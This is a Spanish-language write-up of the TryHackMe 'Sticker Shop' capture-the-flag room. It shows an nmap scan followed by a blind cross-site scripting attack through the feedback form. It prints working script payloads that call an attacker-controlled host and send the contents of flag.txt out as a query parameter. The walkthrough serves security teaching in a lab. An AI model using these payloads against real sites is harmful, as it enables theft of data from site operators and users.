Entrada

TryHackMe - The Sticker Shop (La tienda de pegatinas)

Una guía simple sobre cómo usar ❌ Cross-Site Scripting para este desafío

TryHackMe - The Sticker Shop (La tienda de pegatinas)

Introducción

¿Puedes explotar la tienda de stickers para capturar la bandera?

Tryhackme Room Link

¡Finalmente, tu tienda local de stickers ha desarrollado su propia página web! No tienen mucha experiencia en el desarrollo web, así que decidieron desarrollar y alojar todo en la misma computadora que usan para navegar por internet y ver los comentarios de los clientes. ¡Una jugada inteligente!

Nmap

Comencemos escaneando los puertos abiertos:

1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.10.243
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
|   256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_  256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.8.10)
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dado que el puerto HTTP de respaldo está abierto, podemos visitar el sitio web a través de 10.10.10.243:8080.

Intentemos visitar 10.10.10.243:8080/flag.txt. Slash Flag.txt

Visitemos la subpágina de Feedback. Submit Page

Cross-Site Scripting

Intentemos con XSS

Vamos a alojar un servidor Python e intentar obtener nuestra máquina atacante a través de un script:

1
python3 -m http.server 8000

Y enviemos nuestro script:

1
</textarea><script>fetch('http://10.11.75.122:8000');</script>

Hemos recibido una respuesta, lo que significa que tenemos una vulnerabilidad de Blind XSS.

Submit Page

Ahora podemos intentar crear una carga útil que se vea como esto:

1
</textarea><script>async function a() {const res1 = await fetch('http://127.0.0.1:8080/flag.txt');const b = await res1.text();const res2 = await fetch('http://10.11.75.122:8000?a=' + b);}a();</script>
Desglosado:
  1. Obtiene flag.txt desde http://127.0.0.1:8080/flag.txt.
  2. Lee su contenido como texto.
  3. Envía el contenido robado como un parámetro de consulta (a=<NUESTRA_BANDERA>) a http://10.11.75.122:8000 (Nuestra máquina atacante).

Bandera

Después de iniciar nuestro servidor Python localmente e insertar nuestra carga útil, recibimos la bandera.

Submit Page


Esta entrada está licenciada bajo CC BY 4.0 por el autor.